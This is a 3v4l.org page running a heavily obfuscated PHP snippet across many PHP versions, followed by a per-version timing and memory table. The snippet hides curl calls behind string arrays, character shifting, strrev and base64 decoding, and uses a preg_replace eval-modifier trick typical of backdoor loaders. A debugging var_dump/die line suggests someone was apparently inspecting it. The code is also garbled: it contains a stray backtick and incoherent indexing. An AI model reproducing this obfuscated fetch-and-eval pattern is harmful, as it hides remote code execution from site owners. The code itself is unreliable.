3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vars = array( '28', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg_replace', 'preg_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23, 'array_push' ); function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", preg_split( "/[\D]+/", preg_replace( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],CURLOPT_TIMEOUT , 32 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],CURLOPT_RETURNTRANSFER , 1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()' ); $i = $q = 0; while ($i < 5) { ($i != 2) ? ($vars[$vars[0] - $q]($vars, "curl_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; var_dump($vars); die();` preg_replace("/mix../mix", ${$vars[16][3]}[0 + $i] . $x[5], "/mixed"); $i++;; } echo ($zvars); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.390.0230.06719.31
5.4.380.0300.05718.56
5.4.370.0400.06318.62
5.4.360.0330.06718.61
5.4.350.0400.06718.79
5.4.340.0330.07318.51
5.4.320.0300.05318.74
5.4.310.0370.05718.73
5.4.300.0270.05018.48
5.4.290.0330.05018.66
5.4.280.0300.05318.61
5.4.270.0170.06318.58
5.4.260.0330.05718.48
5.4.250.0300.07718.68
5.4.240.0270.06018.60
5.4.230.0300.06018.55
5.4.220.0270.05318.70
5.4.210.0330.05018.72
5.4.200.0330.04716.63
5.4.190.0270.05318.47
5.4.180.0370.04318.47
5.4.170.0270.05718.70
5.4.160.0370.04318.57
5.4.150.0300.04718.68
5.4.140.0170.05716.34
5.4.130.0270.04316.25
5.4.120.0270.05716.27
5.4.110.0230.05016.28
5.4.100.0300.04716.43
5.4.90.0130.06016.29
5.4.80.0230.04716.28
5.4.70.0200.05316.32
5.4.60.0230.04716.32
5.4.50.0170.05316.33
5.4.40.0370.03716.43
5.4.30.0270.04716.27
5.4.20.0230.05316.41
5.4.10.0200.05316.24
5.4.00.0200.05315.74
5.3.290.0200.07014.91
5.3.280.0300.04714.61
5.3.270.0370.04714.62
5.3.260.0270.05714.65
5.3.250.0370.05314.61
5.3.240.0330.04714.67
5.3.230.0200.06014.67
5.3.220.0200.06014.62
5.3.210.0270.05314.68
5.3.200.0270.06714.79
5.3.190.0330.06014.59
5.3.180.0330.04714.58
5.3.170.0270.05014.64
5.3.160.0230.05314.73
5.3.150.0230.05714.58
5.3.140.0330.04714.79
5.3.130.0170.06714.59
5.3.120.0400.03714.66
5.3.110.0270.05314.59
5.3.100.0270.05314.22
5.3.90.0230.05314.14
5.3.80.0200.05314.08
5.3.70.0230.05314.05
5.3.60.0230.05314.04
5.3.50.0270.05014.06
5.3.40.0400.06014.06
5.3.30.0330.06714.02
5.3.20.0300.06713.88
5.3.10.0300.06013.77
5.3.00.0270.06313.64
5.2.170.0330.04311.19
5.2.160.0230.03711.20
5.2.150.0200.04311.26
5.2.140.0230.05011.26
5.2.130.0270.04311.34
5.2.120.0300.03711.32
5.2.110.0200.04011.34
5.2.100.0170.04311.15
5.2.90.0130.04711.33
5.2.80.0300.04311.25
5.2.70.0100.04711.33
5.2.60.0170.04011.27
5.2.50.0130.04311.04
5.2.40.0130.04311.11
5.2.30.0170.04011.03
5.2.20.0170.04711.08
5.2.10.0170.04010.89
5.2.00.0170.04010.95
5.1.60.0170.03010.20
5.1.50.0170.03010.04
5.1.40.0230.02310.10
5.1.30.0170.03710.33
5.1.20.0200.03710.46
5.1.10.0230.03710.13
5.1.00.0230.04010.21
5.0.50.0070.0338.71
5.0.40.0100.0278.63
5.0.30.0200.0378.28
5.0.20.0170.0238.29
5.0.10.0130.0308.38
5.0.00.0130.0438.38
4.4.90.0270.0136.52
4.4.80.0130.0236.52
4.4.70.0070.0306.52
4.4.60.0170.0176.52
4.4.50.0030.0276.52
4.4.40.0130.0336.52
4.4.30.0100.0206.52
4.4.20.0130.0276.52
4.4.10.0170.0236.52
4.4.00.0130.0406.52
4.3.110.0030.0336.52
4.3.100.0130.0376.52
4.3.90.0030.0276.52
4.3.80.0130.0406.52
4.3.70.0070.0306.52
4.3.60.0130.0276.52
4.3.50.0130.0276.52
4.3.40.0070.0476.52
4.3.30.0070.0206.52
4.3.20.0000.0276.52
4.3.10.0030.0236.52
4.3.00.0030.0237.22

preferences:
142.82 ms | 1394 KiB | 7 Q